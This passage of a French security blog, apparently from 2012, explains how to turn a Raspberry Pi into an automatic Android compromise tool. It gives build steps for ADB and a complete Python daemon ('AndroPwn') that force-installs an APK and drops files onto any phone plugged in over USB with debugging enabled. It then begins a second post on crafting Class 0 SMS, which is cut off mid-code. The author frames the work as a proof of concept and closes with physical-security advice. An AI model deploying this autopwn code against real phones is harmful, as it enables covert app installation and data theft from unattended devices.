&lt;p&gt;J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le côté obscur du Rasppi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.&lt;/p&gt;
&lt;p&gt;La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.&lt;/p&gt;
&lt;p&gt;Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# apt-get install git
&lt;/pre&gt;
&lt;p&gt;Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
#&amp;nbsp;apt-get install build-essential libncurses5-dev
$ git clone git://codeaurora.org/platform/system/core.git system/core
$ git clone git://codeaurora.org/platform/build.git build
$ git clone git://codeaurora.org/platform/external/zlib.git external/zlib
$ git clone git://codeaurora.org/platform/bionic.git bionic
&lt;/pre&gt;
&lt;p&gt;On récupère ensuite un Makefile que l'on copie dans le dossier &lt;em&gt;system/core/adb&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz
$ cd system/core/adb
$ tar xvzf Makefile.gz
$ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile
$ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc
&lt;/pre&gt;
&lt;p&gt;On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
...
# ancienne ligne
#&amp;nbsp;TOOLCHAIN= arm-none-linux-gnueabi-
TOOLCHAIN=
...
&lt;/pre&gt;
&lt;p&gt;Et on compile:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ make
$ cp adb /usr/local/bin/
&lt;/pre&gt;
&lt;p&gt;Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis &lt;a class="reference external" href="http://fieldeffect.info/w/Beagleboard_Notes#ADB_Binary_for_Beagleboard"&gt;inspiré de cette page&lt;/a&gt;, je vous invite à vous y reporter si je n'ai pas été très clair.&lt;/p&gt;
&lt;p&gt;Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;daemon&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Daemon&lt;/span&gt;

&lt;span class="n"&gt;device_re&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bus\s+(?P&amp;lt;bus&amp;gt;\d+)\s+Device\s+(?P&amp;lt;device&amp;gt;\d+).+ID\s(?P&amp;lt;id&amp;gt;\w+:\w+)\s(?P&amp;lt;tag&amp;gt;.+)$&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AndroPwnDaemon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Daemon&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

        &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_devices&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lsusb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
                &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                                &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;device_re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                                        &lt;span class="n"&gt;dinfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupdict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                                        &lt;span class="n"&gt;devices&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dinfo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;devices&lt;/span&gt;

        &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;AndroPwn - Android Autopwn via Raspberry Pi ]&amp;#39;&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;gt;&amp;gt; author: Damien &amp;quot;virtualabs&amp;quot; Cauquil &amp;lt;virtualabs@gmail.com&amp;gt;&amp;#39;&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
                &lt;span class="n"&gt;devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_devices&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                        &lt;span class="n"&gt;devices_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_devices&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;devices_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;devices&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                                        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] New device connected, infecting ...&amp;#39;&lt;/span&gt;
                                        &lt;span class="c1"&gt;# True evil code here (this one only gets uname :)&lt;/span&gt;
                                        &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/bin/adb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;push&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/home/pi/andropwn/0wn3d.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/sdcard/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                                        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;communicate&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                        &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/bin/adb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;install&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/home/pi/andropwn/evil.apk&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                                        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;communicate&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;
                        &lt;span class="n"&gt;devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;devices_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                        &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;daemon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AndroPwnDaemon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/andropwn.pid&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/andropwn.log&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;start&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
                        &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;stop&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
                        &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;restart&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
                        &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;usage: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt; start|stop|restart&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette version ne fait &lt;em&gt;que&lt;/em&gt; dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé &lt;em&gt;evil.apk&lt;/em&gt;. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier &lt;em&gt;evil.apk&lt;/em&gt; n'est rien d'autre que l'application &lt;em&gt;PodcastAddict&lt;/em&gt; qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;&amp;lt;object width=&amp;quot;560&amp;quot; height=&amp;quot;315&amp;quot;&amp;gt;&amp;lt;param name=&amp;quot;movie&amp;quot; value=&amp;quot;&lt;a class="reference external" href="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&amp;amp;hl=en_US"&gt;http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&amp;amp;hl=en_US&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&amp;quot;allowFullScreen&amp;quot; value=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;param name=&amp;quot;wmode&amp;quot; value=&amp;quot;opaque&amp;quot;&amp;gt;&amp;lt;param name=&amp;quot;allowscriptaccess&amp;quot; value=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;embed src=&amp;quot;&lt;a class="reference external" href="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&amp;amp;hl=en_US"&gt;http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&amp;amp;hl=en_US&lt;/a&gt;&amp;quot; type=&amp;quot;application/x-shockwave-flash&amp;quot; width=&amp;quot;560&amp;quot; height=&amp;quot;315&amp;quot; allowscriptaccess=&amp;quot;always&amp;quot; allowfullscreen=&amp;quot;true&amp;quot; wmode=&amp;quot;opaque&amp;quot;&amp;gt;&amp;lt;/embed&amp;gt;&amp;lt;/object&amp;gt;&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.&lt;/p&gt;
&lt;p&gt;Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.&lt;/p&gt;
</content><category term="Geekeries"/><category term="android"/><category term="confidentialité"/><category term="espionnage"/><category term="Raspberry Pi"/></entry><entry><title>Class 0 SMS: reloaded</title><link href="https://virtualabs.fr/secu/Class-0-SMS-reloaded" rel="alternate"/><published>2012-10-12T09:00:00+02:00</published><updated>2012-10-12T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-10-12:/secu/Class-0-SMS-reloaded</id><summary type="html">&lt;p&gt;Depuis ma dernière présentation publique concernant Android (c'est-à-dire depuis la Nuit du Hack 2011, pfiou), beaucoup de personnes m'ont demandé s'il était possible d'envoyer des SMS de classe 0 sur les dernières versions de cet OS. Personnes auxquelles j'avais répondu à l'époque que la démonstration avait été réalisée sur la …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Depuis ma dernière présentation publique concernant Android (c'est-à-dire depuis la Nuit du Hack 2011, pfiou), beaucoup de personnes m'ont demandé s'il était possible d'envoyer des SMS de classe 0 sur les dernières versions de cet OS. Personnes auxquelles j'avais répondu à l'époque que la démonstration avait été réalisée sur la version 2.1, et que l'astuce ne fonctionnait plus sur les versions récentes. Néanmoins, l'idée de chercher un moyen de le faire sur les version supérieures à 2.1 me trottait en tête depuis ce temps, mais j'avoue ne pas avoir pris le temps de m'y intéresser. Jusqu'à très récemment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SMS de classe 0: rappels&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lors de ma précédente présentation, j'avais démontré la facilité avec laquelle on pouvait créer des SMS à partir du PDU (Protocol Description Unit) et comment on pouvait se servir de cette fonctionnalité pour transformer un SMS classique en SMS de classe 0. Pour rappel, un SMS de classe 0 est un message particulier qui est destiné à s'afficher &amp;quot;de force&amp;quot; par le téléphone qui le reçoit, généralement utilisé par les opérateurs pour envoyer des notifications critiques aux utilisateurs de leur réseau ou tout simplement pour communiquer directement avec la SIM (via des systèmes peu documentés).&lt;/p&gt;
&lt;p&gt;Ainsi, pour envoyer un SMS à partir du PDU correspondant, il fallait modifier la visibilité d'une méthode du &lt;em&gt;SmsManager&lt;/em&gt; (&lt;em&gt;sendRawPdu&lt;/em&gt;) afin de pouvoir l'appeler, sous réserve de posséder les bonnes permissions. Il s'agissait en fait d'une fonctionnalité offerte par le SDK Android, qui n'était pas directement exposée mais qui était toutefois présente. Cela était valable jusqu'à la version 2.1 du système. A partir de la version 2.2, le SDK a radicalement changé (du moins en ce qui concerne l'envoi de SMS), et cette méthode a disparu: impossible d'envoyer des SMS &amp;quot;craftés&amp;quot; à partir de PDUs ! Damned. Rien sur Internet expliquant comment le faire, et le code est un brin indigeste.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Services systèmes d'Android&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un jour, j'ai pris mon courage à deux mains et décidé de plonger dans le code du SDK &lt;strong&gt;[2]&lt;/strong&gt;, qui de fait est opensource et librement consultable, afin de trouver un moyen d'envoyer (de nouveau) ce type de message. Et par extension d'être capable de faire joujou avec les PDUs, comme au bon vieux temps. Et là, le drame: plus aucune référence de &amp;quot;PDU&amp;quot; dans les éléments offerts par le SDK. Le vide. Vraiment rien ? Eh bien après quelques recherches plus poussées, j'ai pu identifier une classe offrant une méthode nommée &lt;em&gt;sendRawPdu&lt;/em&gt;, mais appartenant au &lt;em&gt;package&lt;/em&gt; &lt;em&gt;com.android.internal.telephony&lt;/em&gt;. En cherchant à savoir où elle était appelée, je suis remonté jusqu'à la classe &lt;em&gt;com.android.internal.telephony.IccSmsInterfaceManager&lt;/em&gt;, qui propose des méthodes permettant l'envoi de messages (mais pas de PDU) et qui hérite de &lt;em&gt;ISms.Stub&lt;/em&gt;. Attendez, &amp;quot;ISms&amp;quot;, serait-ce une interface ? Jetons-y un œil.&lt;/p&gt;
&lt;p&gt;Il s'agit effectivement d'une interface munie d'un &lt;em&gt;Stub&lt;/em&gt; qui sert principalement de wrapper de service, tel que précisé dans la documentation:&lt;/p&gt;
&lt;p&gt;&amp;lt;quote&amp;gt;Interface for applications to access the ICC phone book.
The following code snippet demonstrates a static method to retrieve the ISms interface from Android:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ISms&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getSmsInterface&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeadObjectException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="n"&gt;IServiceManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceManagerNative&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ISms&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
